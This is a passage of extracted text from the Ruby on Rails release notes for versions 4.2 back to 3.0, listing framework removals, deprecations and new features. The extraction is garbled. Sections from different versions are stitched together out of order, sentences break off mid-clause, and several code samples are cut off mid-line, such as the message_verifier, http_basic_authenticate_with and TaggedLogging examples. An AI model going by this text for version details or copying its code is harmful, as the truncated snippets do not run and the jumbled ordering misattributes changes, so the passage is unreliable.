templates, it is no longer needed to pass only_path: false.
(Commit)
Introduced deliver_later which enqueues a job on the application's
queue to deliver emails asynchronously. (Pull Request)
Added the show_previews configuration option for enabling mailer
previews outside of the development environment. (Pull Request)
8 Active Record
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed cache_attributes and friends. All attributes are cached.
(Pull Request)
Removed deprecated method
ActiveRecord::Base.quoted_locking_column. (Pull Request)
Removed deprecated ActiveRecord::Migrator.proper_table_name.
Use the proper_table_name instance method on
ActiveRecord::Migration instead. (Pull Request)
Removed unused :timestamp type. Transparently alias it to
:datetime in all cases. Fixes inconsistencies when column types are
sent outside of Active Record, such as for XML serialization. (Pull
Request)
8.2 Deprecations
Deprecated swallowing of errors inside after_commit and
after_rollback. (Pull Request)
Deprecated broken support for automatic detection of counter caches
on has_many :through associations. You should instead manually
specify the counter cache on the has_many and belongs_to
associations for the through records. (Pull Request)
Deprecated passing Active Record objects to .find or .exists?. Call
id on the objects first. (Commit 1, 2)
Deprecated half-baked support for PostgreSQL range values with
excluding beginnings. We currently map PostgreSQL ranges to Ruby
ranges. This conversion is not fully possible because Ruby ranges do
not support excluded beginnings. The current solution of
incrementing the beginning is not correct and is now deprecated. For
Introduced the db:purge Rake task to empty the database for the
current environment. (Commit)
Introduced ActiveRecord::Base#validate! that raises
ActiveRecord::RecordInvalid if the record is invalid. (Pull
Request)
Introduced validate as an alias for valid?. (Pull Request)
touch now accepts multiple attributes to be touched at once. (Pull
Request)
The PostgreSQL adapter now supports the jsonb datatype in
PostgreSQL 9.4+. (Pull Request)
The PostgreSQL and SQLite adapters no longer add a default limit of
255 characters on string columns. (Pull Request)
Added support for the citext column type in the PostgreSQL
adapter. (Pull Request)
Added support for user-created range types in the PostgreSQL
adapter. (Commit)
sqlite3:///some/path now resolves to the absolute system path
/some/path. For relative paths, use sqlite3:some/path instead.
(Previously, sqlite3:///some/path resolved to the relative path
some/path. This behavior was deprecated on Rails 4.1). (Pull
Request)
Added support for fractional seconds for MySQL 5.6 and above. (Pull
Request 1, 2)
Added ActiveRecord::Base#pretty_print to pretty print models.
(Pull Request)
ActiveRecord::Base#reload now behaves the same as m =
Model.find(m.id), meaning that it no longer retains the extra
attributes from custom SELECTs. (Pull Request)
ActiveRecord::Base#reflections now returns a hash with string
keys instead of symbol keys. (Pull Request)
The references method in migrations now supports a type option for
specifying the type of the foreign key (e.g. :uuid). (Pull Request)
9 Active Model
Please refer to the Changelog for detailed changes.
9.1 Removals
Removed deprecated Validator#setup without replacement. (Pull
Request)
9.2 Deprecations
Deprecated reset_#{attribute} in favor of restore_#{attribute}.
(Pull Request)
Deprecated ActiveModel::Dirty#reset_changes in favor of
clear_changes_information. (Pull Request)
9.3 Notable changes
Introduced validate as an alias for valid?. (Pull Request)
Introduced the restore_attributes method in ActiveModel::Dirty
to restore the changed (dirty) attributes to their previous values. (Pull
Request 1, 2)
has_secure_password no longer disallows blank passwords (i.e.
passwords that contains only spaces) by default. (Pull Request)
has_secure_password now verifies that the given password is less
than 72 characters if validations are enabled. (Pull Request)
10 Active Support
Please refer to the Changelog for detailed changes.
10.1 Removals
Removed deprecated Numeric#ago, Numeric#until, Numeric#since,
Numeric#from_now. (Commit)
Removed deprecated string based terminators for
ActiveSupport::Callbacks. (Pull Request)
10.2 Deprecations
Deprecated Kernel#silence_stderr, Kernel#capture and
Kernel#quietly without replacement. (Pull Request)
Deprecated Class#superclass_delegating_accessor, use
Class#class_attribute instead. (Pull Request)
Deprecated ActiveSupport::SafeBuffer#prepend! as
ActiveSupport::SafeBuffer#prepend now performs the same
function. (Pull Request)
10.3 Notable changes
Introduced a new configuration option active_support.test_order
for specifying the order test cases are executed. This option currently
defaults to :sorted but will be changed to :random in Rails 5.0.
(Commit)
Object#try and Object#try! can now be used without an explicit
receiver in the block. (Commit, Pull Request)
The travel_to test helper now truncates the usec component to 0.
(Commit)
Introduced Object#itself as an identity function. (Commit 1, 2)
Object#with_options can now be used without an explicit receiver
11 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails the stable and robust framework it is today.
Kudos to all of them.
2 Major Features
2.1 Spring Application Preloader
Spring is a Rails application preloader. It speeds up development by
keeping your application running in the background so you don't need to
boot it every time you run a test, rake task or migration.
New Rails 4.1 applications will ship with "springified" binstubs. This
means that bin/rails and bin/rake will automatically take advantage of
preloaded spring environments.
Running rake tasks:
bin/rake test:models
Spring introspection:
$ bin/spring status
Spring is running:
2.2 config/secrets.yml
Rails 4.1 generates a new secrets.yml file in the config folder. By
default, this file contains the application's secret_key_base, but it could
also be used to store other secrets such as access keys for external APIs.
The secrets added to this file are accessible via
Rails.application.secrets. For example, with the following
config/secrets.yml:
development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY
development environment.
See the Upgrading Ruby on Rails guide on how to migrate existing
applications to use this feature.
2.3 Action Pack Variants
We often want to render different HTML/JSON/XML templates for
phones, tablets, and desktop browsers. Variants make it easy.
The request variant is a specialization of the request format, like :tablet,
:phone, or :desktop.
You can set the variant in a before_action:
request.variant = :tablet if request.user_agent =~ /iPad/
respond_to do |format|
format.html do |html|
html.tablet # renders app/views/projects/show.html+tablet.er
html.phone { extra_setup; render ... }
end
end
You can also simplify the variants definition using the inline syntax:
respond_to do |format|
format.js { render "trash" }
format.html.phone { redirect_to progress_path }
format.html.none { render "trash" }
end
signed_token = Rails.application.message_verifier(:remember_me).
Rails.application.message_verifier(:remember_me).verify(signed_t
Rails.application.message_verifier(:remember_me).verify(tampered
# raises ActiveSupport::MessageVerifier::InvalidSignature
2.7 Module#concerning
A natural, low-ceremony way to separate responsibilities within a class:
class Todo < ActiveRecord::Base
concerning :EventTracking do
included do
has_many :events
end
def latest_event
...
end
private
def some_internal_method
...
end
end
end
3 Railties
Please refer to the Changelog for detailed changes.
3.1 Removals
Removed update:application_controller rake task.
Removed deprecated Rails.application.railties.engines.
Removed deprecated threadsafe! from Rails Config.
Removed deprecated
ActiveRecord::Generators::ActiveModel#update_attributes in
favor of ActiveRecord::Generators::ActiveModel#update.
Removed deprecated config.whiny_nils option.
Removed deprecated rake tasks for running tests: rake
test:uncommitted and rake test:recent.
4 Action Pack
Please refer to the Changelog for detailed changes.
4.1 Removals
Removed deprecated Rails application fallback for integration testing,
set ActionDispatch.test_app instead.
Removed deprecated page_cache_extension config.
Removed deprecated ActionController::RecordIdentifier, use
ActionView::RecordIdentifier instead.
Removed deprecated constants from Action Controller:
Removed
Successor
ActionController::AbstractRequest ActionDispatch::Request
ActionController::Request
ActionDispatch::Request
ActionController::AbstractResponse ActionDispatch::Response
ActionController::Response
ActionDispatch::Response
ActionController::Routing
ActionDispatch::Routing
ActionController::Integration
ActionDispatch::Integration
ActionController::IntegrationTest ActionDispatch::IntegrationTest
4.2 Notable changes
protect_from_forgery also prevents cross-origin <script> tags.
Update your tests to use xhr :get, :foo, format: :js instead of
get :foo, format: :js. (Pull Request)
#url_for takes a hash with options inside an array. (Pull Request)
Added session#fetch method fetch behaves similarly to Hash#fetch,
with the exception that the returned value is always saved into the
session. (Pull Request)
Separated Action View completely from Action Pack. (Pull Request)
5 Action Mailer
Please refer to the Changelog for detailed changes.
5.1 Notable changes
Added mailer previews feature based on 37 Signals mail_view gem.
(Commit)
Instrument the generation of Action Mailer messages. The time it
takes to generate a message is written to the log. (Pull Request)
6 Active Record
Please refer to the Changelog for detailed changes.
6.1 Removals
Removed deprecated nil-passing to the following SchemaCache
methods: primary_keys, tables, columns and columns_hash.
Removed deprecated block filter from
ActiveRecord::Migrator#migrate.
Removed deprecated String constructor from
ActiveRecord::Migrator.
Removed deprecated scope use without passing a callable object.
Removed deprecated transaction_joinable= in favor of
begin_transaction with a :joinable option.
Removed deprecated decrement_open_transactions.
Removed deprecated increment_open_transactions.
Removed deprecated PostgreSQLAdapter#outside_transaction?
method. You can use #transaction_open? instead.
Removed deprecated ActiveRecord::Fixtures.find_table_name in
favor of ActiveRecord::Fixtures.default_fixture_model_name.
Removed deprecated columns_for_remove from SchemaStatements.
Removed deprecated SchemaStatements#distinct.
Moved deprecated ActiveRecord::TestCase into the Rails test suite.
The class is no longer public and is only used for internal Rails tests.
Removed support for deprecated option :restrict for :dependent in
associations.
Removed support for deprecated :delete_sql, :insert_sql,
:finder_sql and :counter_sql options in associations.
Removed deprecated method type_cast_code from Column.
Removed deprecated ActiveRecord::Base#connection method.
Make sure to access it via the class.
Removed deprecation warning for
auto_explain_threshold_in_seconds.
Removed deprecated :distinct option from Relation#count.
Removed deprecated methods partial_updates, partial_updates?
and partial_updates=.
Removed deprecated method scoped.
Removed deprecated method default_scopes?.
7 Active Model
Please refer to the Changelog for detailed changes.
7.1 Deprecations
Deprecate Validator#setup. This should be done manually now in
the validator's constructor. (Commit)
7.2 Notable changes
Added new API methods reset_changes and changes_applied to
ActiveModel::Dirty that control changes state.
Ability to specify multiple contexts when defining a validation. (Pull
Request)
attribute_changed? now accepts a hash to check if the attribute was
changed :from and/or :to a given value. (Pull Request)
8 Active Support
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed MultiJSON dependency. As a result,
ActiveSupport::JSON.decode no longer accepts an options hash for
MultiJSON. (Pull Request / More Details)
Removed support for the encode_json hook used for encoding
custom objects into JSON. This feature has been extracted into the
activesupport-json_encoder gem. (Related Pull Request / More
Details)
Removed deprecated ActiveSupport::JSON::Variable with no
replacement.
Removed deprecated String#encoding_aware? core extensions
(core_ext/string/encoding).
Removed deprecated Module#local_constant_names in favor of
Module#local_constants.
Removed deprecated DateTime.local_offset in favor of
DateTime.civil_from_format.
Removed deprecated Logger core extensions (core_ext/logger.rb).
Removed deprecated Time#time_with_datetime_fallback,
Time#utc_time and Time#local_time in favor of Time#utc and
Time#local.
Removed deprecated Hash#diff with no replacement.
Removed deprecated Date#to_time_in_current_zone in favor of
Date#in_time_zone.
Removed deprecated Proc#bind with no replacement.
Removed deprecated Array#uniq_by and Array#uniq_by!, use native
Array#uniq and Array#uniq! instead.
Removed deprecated ActiveSupport::BasicObject, use
ActiveSupport::ProxyObject instead.
9 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
3 Major Features
3.1 Upgrade
Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required
New deprecation policy - Deprecated features are warnings in Rails
4.0 and will be removed in Rails 4.1.
ActionPack page and action caching (commit) - Page and action
caching are extracted to a separate gem. Page and action caching
requires too much manual intervention (manually expiring caches
when the underlying model objects are updated). Instead, use Russian
doll caching.
ActiveRecord observers (commit) - Observers are extracted to a
separate gem. Observers are only needed for page and action caching,
and can lead to spaghetti code.
ActiveRecord session store (commit) - The ActiveRecord session
store is extracted to a separate gem. Storing sessions in SQL is costly.
Instead, use cookie sessions, memcache sessions, or a custom session
store.
ActiveModel mass assignment protection (commit) - Rails 3 mass
make normal Ruby objects to work with ActionPack out of box (ex.
for form_for)
New scope API (commit) - Scopes must always use callables.
Schema cache dump (commit) - To improve Rails boot time, instead
of loading the schema directly from the database, load the schema
from a dump file.
Support for specifying transaction isolation level (commit) Choose whether repeatable reads or improved performance (less
locking) is more important.
Dalli (commit) - Use Dalli memcache client for the memcache store.
Notifications start & finish (commit) - Active Support
instrumentation reports start and finish notifications to subscribers.
Thread safe by default (commit) - Rails can run in threaded app
servers without additional configuration.
Check that the gems you are using are threadsafe.
PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is
used for partial updates of resources.
3.4 Security
match do not catch all (commit) - In the routing DSL, match
requires the HTTP verb or verbs to be specified.
html entities escaped by default (commit) - Strings rendered in erb
are escaped unless wrapped with raw or html_safe is called.
New security headers (commit) - Rails sends the following headers
with every HTTP request: X-Frame-Options (prevents clickjacking
by forbidding the browser from embedding the page in a frame), XXSS-Protection (asks the browser to halt script injection) and XContent-Type-Options (prevents the browser from opening a jpeg as
an exe).
5 Documentation
Guides are rewritten in GitHub Flavored Markdown.
Guides have a responsive design.
6 Railties
Please refer to the Changelog for detailed changes.
6.1 Notable changes
New test locations test/models, test/helpers, test/controllers,
and test/mailers. Corresponding rake tasks added as well. (Pull
Request)
Your app's executables now live in the bin/ directory. Run rake
rails:update:bin to get bin/bundle, bin/rails, and bin/rake.
Threadsafe on by default
Ability to use a custom builder by passing --builder (or -b) to rails
new has been removed. Consider using application templates instead.
(Pull Request)
6.2 Deprecations
config.threadsafe! is deprecated in favor of config.eager_load
7 Action Mailer
Please refer to the Changelog for detailed changes.
7.1 Notable changes
7.2 Deprecations
8 Active Model
Please refer to the Changelog for detailed changes.
8.1 Notable changes
Add ActiveModel::ForbiddenAttributesProtection, a simple
module to protect attributes from mass assignment when nonpermitted attributes are passed.
Added ActiveModel::Model, a mixin to make Ruby objects work
with Action Pack out of box.
8.2 Deprecations
9 Active Support
Please refer to the Changelog for detailed changes.
9.1 Notable changes
Replace deprecated memcache-client gem with dalli in
ActiveSupport::Cache::MemCacheStore.
Optimize ActiveSupport::Cache::Entry to reduce memory and
processing overhead.
Inflections can now be defined per locale. singularize and
pluralize accept locale as an extra argument.
Object#try will now return nil instead of raise a NoMethodError if
the receiving object does not implement the method, but you can still
get the old behavior by using the new Object#try!.
String#to_date now raises ArgumentError: invalid date instead
of NoMethodError: undefined method 'div' for nil:NilClass
when given an invalid date. It is now the same as Date.parse, and it
accepts more invalid dates than 3.x, such as:
# ActiveSupport 3.x
"asdf".to_date # => NoMethodError: undefined method `div' for
"333".to_date # => NoMethodError: undefined method `div' for n
# ActiveSupport 4
"asdf".to_date # => ArgumentError: invalid date
"333".to_date # => Fri, 29 Nov 2013
9.2 Deprecations
Deprecate ActiveSupport::TestCase#pending method, use skip
from MiniTest instead.
ActiveSupport::Benchmarkable#silence has been deprecated due
to its lack of thread safety. It will be removed without replacement in
Rails 4.1.
ActiveSupport::JSON::Variable is deprecated. Define your own
#as_json and #encode_json methods for custom JSON string
literals.
Deprecates the compatibility method
Module#local_constant_names, use Module#local_constants
instead (which returns symbols).
BufferedLogger is deprecated. Use ActiveSupport::Logger, or the
logger from Ruby standard library.
Deprecate assert_present and assert_blank in favor of assert
object.blank? and assert object.present?
10 Action Pack
Please refer to the Changelog for detailed changes.
10.1 Notable changes
Change the stylesheet of exception pages for development mode.
Additionally display also the line of code and fragment that raised the
exception in all exceptions pages.
10.2 Deprecations
11 Active Record
Please refer to the Changelog for detailed changes.
11.1 Notable changes
Improve ways to write change migrations, making the old up & down
methods no longer necessary.
The methods drop_table and remove_column are now
reversible, as long as the necessary information is given. The
method remove_column used to accept multiple column names;
instead use remove_columns (which is not revertible). The
method change_table is also reversible, as long as its block
doesn't call remove, change or change_default
New method reversible makes it possible to specify code to be
run when migrating up or down. See the Guide on Migration
New method revert will revert a whole migration or the given
block. If migrating down, the given migration / block is run
normally. See the Guide on Migration
Adds PostgreSQL array type support. Any datatype can be used to
create an array column, with full migration and schema dumper
support.
Add Relation#load to explicitly load the record and return self.
Model.all now returns an ActiveRecord::Relation, rather than an
array of records. Use Relation#to_a if you really want an array. In
some specific cases, this may cause breakage when upgrading.
Added ActiveRecord::Migration.check_pending! that raises an
error if migrations are pending.
Added custom coders support for ActiveRecord::Store. Now you
can set your custom coder like this:
Remove IdentityMap.
Remove automatic execution of EXPLAIN queries. The option
active_record.auto_explain_threshold_in_seconds is no longer
used and should be removed.
Adds ActiveRecord::NullRelation and
ActiveRecord::Relation#none implementing the null object pattern
for the Relation class.
Added create_join_table migration helper to create HABTM join
tables.
Allows PostgreSQL hstore records to be created.
11.2 Deprecations
Deprecated the old-style hash based finder API. This means that
methods which previously accepted "finder options" no longer do.
All dynamic methods except for find_by_... and find_by_...! are
deprecated. Here's how you can rewrite the code:
find_all_by_... can be rewritten using where(...).
find_last_by_... can be rewritten using where(...).last.
scoped_by_... can be rewritten using where(...).
find_or_initialize_by_... can be rewritten using
find_or_initialize_by(...).
find_or_create_by_... can be rewritten using
find_or_create_by(...).
find_or_create_by_...! can be rewritten using
find_or_create_by!(...).
12 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
config/environments/development.rb:
# Log the query plan for queries taking more than this (work
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5
If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
3 Major Features
3.1 Faster Development Mode & Routing
Rails 3.2 comes with a development mode that's noticeably faster. Inspired
by Active Reload, Rails reloads classes only when files actually change.
The performance gains are dramatic on a larger application. Route
recognition also got a bunch faster thanks to the new Journey engine.
3.2 Automatic Query Explains
Rails 3.2 comes with a nice feature that explains queries generated by Arel
by defining an explain method in ActiveRecord::Relation. For
example, you can run something like puts
Person.active.limit(5).explain and the query Arel produces is
explained. This allows to check for the proper indexes and further
optimizations.
Queries that take more than half a second to run are automatically
explained in the development mode. This threshold, of course, can be
changed.
3.3 Tagged Logging
When running a multi-user, multi-account application, it's a great help to
be able to filter the log by who did what. TaggedLogging in Active
Support helps in doing exactly that by stamping log lines with subdomains,
request ids, and anything else to aid debugging such applications.
4 Documentation
From Rails 3.2, the Rails guides are available for the Kindle and free
Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
5 Railties
Speed up development by only reloading classes if dependencies files
changed. This can be turned off by setting
config.reload_classes_only_on_change to false.
New applications get a flag
config.active_record.auto_explain_threshold_in_seconds in
the environments configuration files. With a value of 0.5 in
development.rb and commented out in production.rb. No mention
in test.rb.
Added config.exceptions_app to set the exceptions application
invoked by the ShowException middleware when an exception
happens. Defaults to
ActionDispatch::PublicExceptions.new(Rails.public_path).
Added a DebugExceptions middleware which contains features
extracted from ShowExceptions middleware.
Display mounted engines' routes in rake routes.
Allow to change the loading order of railties with
config.railties_order like:
config.railties_order = [Blog::Engine, :main_app, :all]
will create indexes for title and author with the latter being a
unique index. Some types such as decimal accept custom options. In
the example, price will be a decimal column with precision and scale
set to 7 and 2 respectively.
Turn gem has been removed from default Gemfile.
Remove old plugin generator rails generate plugin in favor of
rails plugin new command.
Remove old config.paths.app.controller API in favor of
config.paths["app/controller"].
5.1 Deprecations
6 Action Mailer
Upgraded mail version to 2.4.0.
Removed the old Action Mailer API which was deprecated since
Rails 3.0.
7 Action Pack
7.1 Action Controller
Make ActiveSupport::Benchmarkable a default module for
ActionController::Base, so the #benchmark method is once again
available in the controller context like it used to be.
Added :gzip option to caches_page. The default option can be
configured globally using page_cache_compression.
Rails will now use your default layout (such as "layouts/application")
when you specify a layout with :only and :except condition, and
those conditions fail.
class CarsController
layout 'single_car', :only => :show
end
7.2.1 Deprecations
end
end
7.4 Sprockets
Adds a configuration option config.assets.logger to control
Sprockets logging. Set it to false to turn off logging and to nil to
default to Rails.logger.
8 Active Record
Boolean columns with 'on' and 'ON' values are type cast to true.
When the timestamps method creates the created_at and
updated_at columns, it makes them non-nullable by default.
Implemented ActiveRecord::Relation#explain.
Implements ActiveRecord::Base.silence_auto_explain which
allows the user to selectively disable automatic EXPLAINs within a
block.
Implements automatic EXPLAIN logging for slow queries. A new
configuration parameter
config.active_record.auto_explain_threshold_in_seconds
Added ability to run migrations only for a given scope, which allows
to run migrations only from one engine (for example to revert
changes from an engine that need to be removed).
rake db:migrate SCOPE=blog
Migrations copied from engines are now scoped with engine's name,
for example 01_create_posts.blog.rb.
as:
class Order < ActiveRecord::Base
def cancel!
with_lock do
# ... cancelling logic
end
end
end
8.1 Deprecations
Automatic closure of connections in threads is deprecated. For
example the following code is deprecated:
Thread.new { Post.find(1) }.join
9 Active Model
Add ActiveModel::Errors#added? to check if a specific error has
been added.
Add ability to define strict validations with strict => true that
always raises exception when fails.
Provide mass_assignment_sanitizer as an easy API to replace the
sanitizer behavior. Also support both :logger (default) and :strict
sanitizer behavior.
9.1 Deprecations
Deprecated define_attr_method in
ActiveModel::AttributeMethods because this only existed to
support methods like set_table_name in Active Record, which are
themselves being deprecated.
Deprecated Model.model_name.partial_path in favor of
model.to_partial_path.
10 Active Resource
Redirect responses: 303 See Other and 307 Temporary Redirect now
behave like 301 Moved Permanently and 302 Found.
11 Active Support
Added ActiveSupport:TaggedLogging that can wrap any standard
Logger class to provide tagging capabilities.
Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)
Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"
Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"
The definition of a blank string for Ruby 1.9 has been extended to
Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000
is considered to be whitespace.
The inflector understands acronyms.
Added Time#all_day, Time#all_week, Time#all_quarter and
Time#all_year as a way of generating ranges.
Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)
memoization pattern.
Module#synchronize is deprecated with no replacement. Please use
creating the directory for your log file is deprecated. Please make sure
to create the directory for your log file before instantiating.
ActiveSupport::BufferedLogger#auto_flushing is deprecated.
Either set the sync level on the underlying file handle like this. Or
tune your filesystem. The FS cache is now what controls flushing.
f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f
12 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
Rails 3.2 Release Notes were compiled by Vijay Dev.
If your application is using the "/assets" route for a resource you may
want change the prefix used for assets to avoid conflicts:
# Defaults to '/assets'
config.assets.prefix = '/asset-files'
1.2.3 config/environments/development.rb
1.2.4 config/environments/production.rb
Again, most of the changes below are for the asset pipeline. You can
read more about these in the Asset Pipeline guide.
1.2.5 config/environments/test.rb
Add this file with the following contents, if you wish to wrap
parameters into a nested hash. This is on by default in new
applications.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end
1.2.7 Remove :cache and :concat options in asset helpers references in views
With the Asset Pipeline the :cache and :concat options aren't used
anymore, delete these options from your views.
If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
Rails 3.1 comes with the identity map turned off by default.
4 Railties
jQuery is the new default JavaScript library.
jQuery and Prototype are no longer vendored and is provided from
now on by the jquery-rails and prototype-rails gems.
The application generator accepts an option -j which can be an
arbitrary string. If passed "foo", the gem "foo-rails" is added to the
Gemfile, and the application JavaScript manifest requires "foo" and
"foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist
and provide those files via the asset pipeline.
Generating an application or a plugin runs bundle install unless -skip-gemfile or --skip-bundle is specified.
The controller and resource generators will now automatically
produce asset stubs (this can be turned off with --skip-assets).
These stubs will use CoffeeScript and Sass, if those libraries are
available.
Scaffold and app generators use the Ruby 1.9 style hash when
running on Ruby 1.9. To generate old style hash, --old-style-hash
can be passed.
Scaffold controller generator creates format block for JSON instead
of XML.
Active Record logging is directed to STDOUT and shown inline in
the console.
Added config.force_ssl configuration which loads Rack::SSL
middleware and force all requests to be under HTTPS protocol.
Added rails plugin new command which generates a Rails plugin
with gemspec, tests and a dummy application for testing.
Added Rack::Etag and Rack::ConditionalGet to the default
middleware stack.
Added Rack::Cache to the default middleware stack.
Engines received a major update - You can mount them at any path,
enable assets, run generators etc.
5 Action Pack
5.1 Action Controller
A warning is given out if the CSRF token authenticity cannot be
verified.
Specify force_ssl in a controller to force the browser to transfer data
via HTTPS protocol on that particular controller. To limit to specific
actions, :only or :except can be used.
Sensitive query string parameters specified in
config.filter_parameters will now be filtered out from the request
paths in the log.
URL parameters which return nil for to_param are now removed
from the query string.
Added ActionController::ParamsWrapper to wrap parameters into
a nested hash, and will be turned on for JSON request in new
applications by default. This can be customized in
config/initializers/wrap_parameters.rb.
Added config.action_controller.include_all_helpers. By
default helper :all is done in ActionController::Base, which
includes all the helpers by default. Setting include_all_helpers to
false will result in including only application_helper and the helper
corresponding to controller (like foo_helper for foo_controller).
url_for and named url helpers now accept :subdomain and :domain
as options.
Added Base.http_basic_authenticate_with to do simple http basic
authentication with a single class method call.
class PostsController < ApplicationController
USER_NAME, PASSWORD = "dhh", "secret"
before_filter :authenticate, :except => [ :index ]
def index
render :text => "Everyone can see me!"
end
def edit
render :text => "I'm only accessible if you know the pas
end
private
def authenticate
authenticate_or_request_with_http_basic do |user_name,
user_name == USER_NAME && password == PASSWORD
end
end
end
def edit
render :text => "I'm only accessible if you know the pas
end
end
Keys are dasherized. Values are JSON-encoded, except for strings and
symbols.
csrf_meta_tag is renamed to csrf_meta_tags and aliases
csrf_meta_tag for backwards compatibility.
The old template handler API is deprecated and the new API simply
requires a template handler to respond to call.
rhtml and rxml are finally removed as template handlers.
config.action_view.cache_template_loading is brought back
which allows to decide whether templates should be cached or not.
The submit form helper does not generate an id "object_name_id"
anymore.
Allows FormHelper#form_for to specify the :method as a direct
option instead of through the :html hash. form_for(@post, remote:
true, method: :delete) instead of form_for(@post, remote:
true, html: { method: :delete }).
Provided JavaScriptHelper#j() as an alias for
JavaScriptHelper#escape_javascript(). This supersedes the
Object#j() method that the JSON gem adds within templates using
the JavaScriptHelper.
Allows AM/PM format in datetime selectors.
auto_link has been removed from Rails and extracted into the
rails_autolink gem
6 Active Record
Added a class method pluralize_table_names to
singularize/pluralize table names of individual models. Previously
this could only be set globally for all models through
ActiveRecord::Base.pluralize_table_names.
class User < ActiveRecord::Base
self.pluralize_table_names = false
end
Inside the proc, self is the object which is the owner of the
association, unless you are eager loading the association, in which
case self is the class which the association is within. You can have
any "normal" conditions inside the proc, so the following will work
too:
has_many :things, :conditions => proc { ["foo = ?", bar] }
semantics have changed to closer match normal Ruby dup and clone
semantics.
Calling ActiveRecord::Base#clone will result in a shallow copy of
the record, including copying the frozen state. No callbacks will be
called.
Calling ActiveRecord::Base#dup will duplicate the record, including
calling after initialize hooks. Frozen state will not be copied, and all
associations will be cleared. A duped record will return true for
new_record?, have a nil id field, and is saveable.
The query cache now works with prepared statements. No changes in
the applications are required.
7 Active Model
attr_accessible accepts an option :as to specify a role.
InclusionValidator, ExclusionValidator, and FormatValidator
8 Active Resource
The default format has been changed to JSON for all requests. If you
want to continue to use XML you will need to set self.format =
:xml in the class. For example,
class User < ActiveResource::Base
self.format = :xml
end
9 Active Support
ActiveSupport::Dependencies now raises NameError if it finds an
existing constant in load_missing_constant.
Added a new reporting method Kernel#quietly which silences both
STDOUT and STDERR.
Added String#inquiry as a convenience method for turning a String
into a StringInquirer object.
Added Object#in? to test if an object is included in another object.
LocalCache strategy is now a real middleware class and no longer an
anonymous class.
ActiveSupport::Dependencies::ClassCache class has been
10 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
Rails 3.1 Release Notes were compiled by Vijay Dev
1 Upgrading to Rails 3
If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 2.3.5
and make sure your application still runs as expected before attempting to
update to Rails 3. Then take heed of the following changes:
1.1 Rails 3 requires at least Ruby 1.8.7
Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous
Ruby versions has been dropped officially and you should upgrade as early
as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails
3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02
though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright
segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on
1.9.2 for smooth sailing.
1.2 Rails Application object
As part of the groundwork for supporting running multiple Rails
applications in the same process, Rails 3 introduces the concept of an
Application object. An application object holds all the application specific
configurations and is very similar in nature to config/environment.rb
from the previous versions of Rails.
Each Rails application now must have a corresponding application object.
The application object is defined in config/application.rb. If you're
upgrading an existing application to Rails 3, you must add this file and
move the appropriate configurations from config/environment.rb to
config/application.rb.
1.3 script/* replaced by script/rails
The new script/rails replaces all the scripts that used to be in the
script directory. You do not run script/rails directly though, the rails
command detects it is being invoked in the root of a Rails application and
runs the script for you. Intended usage is:
You can see an example of how that works at Rails Upgrade is now an
Official Plugin
Aside from Rails Upgrade tool, if you need more help, there are people on
IRC and rubyonrails-talk that are probably doing the same thing, possibly
hitting the same issues. Be sure to blog your own experiences when
upgrading so others can benefit from your knowledge!
If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/bin/rails new myapp --dev
Another big part of decoupling the core components was creating a base
superclass that is separated from the notions of HTTP in order to handle
rendering of views etc. This creation of AbstractController allowed
ActionController and ActionMailer to be greatly simplified with
common code removed from all these libraries and put into Abstract
Controller.
More Information: - Rails Edge Architecture
3.5 Arel Integration
Arel (or Active Relation) has been taken on as the underpinnings of Active
Record and is now required for Rails. Arel provides an SQL abstraction
that simplifies out Active Record and provides the underpinnings for the
relation functionality in Active Record.
More information: - Why I wrote Arel
3.6 Mail Extraction
Action Mailer ever since its beginnings has had monkey patches, pre
parsers and even delivery and receiver agents, all in addition to having
TMail vendored in the source tree. Version 3 changes that with all email
message related functionality abstracted out to the Mail gem. This again
reduces code duplication and helps create definable boundaries between
Action Mailer and the email parser.
More information: - New Action Mailer API in Rails 3
4 Documentation
The documentation in the Rails tree is being updated with all the API
changes, additionally, the Rails Edge Guides are being updated one by one
to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org
however will continue to contain only the stable version of Rails (at this
point, version 2.3.5, until 3.0 is released).
More Information: - Rails Documentation Projects
5 Internationalization
A large amount of work has been done with I18n support in Rails 3,
including the latest I18n gem supplying many speed improvements.
I18n for any object - I18n behavior can be added to any object by
including ActiveModel::Translation and
ActiveModel::Validations. There is also an errors.messages
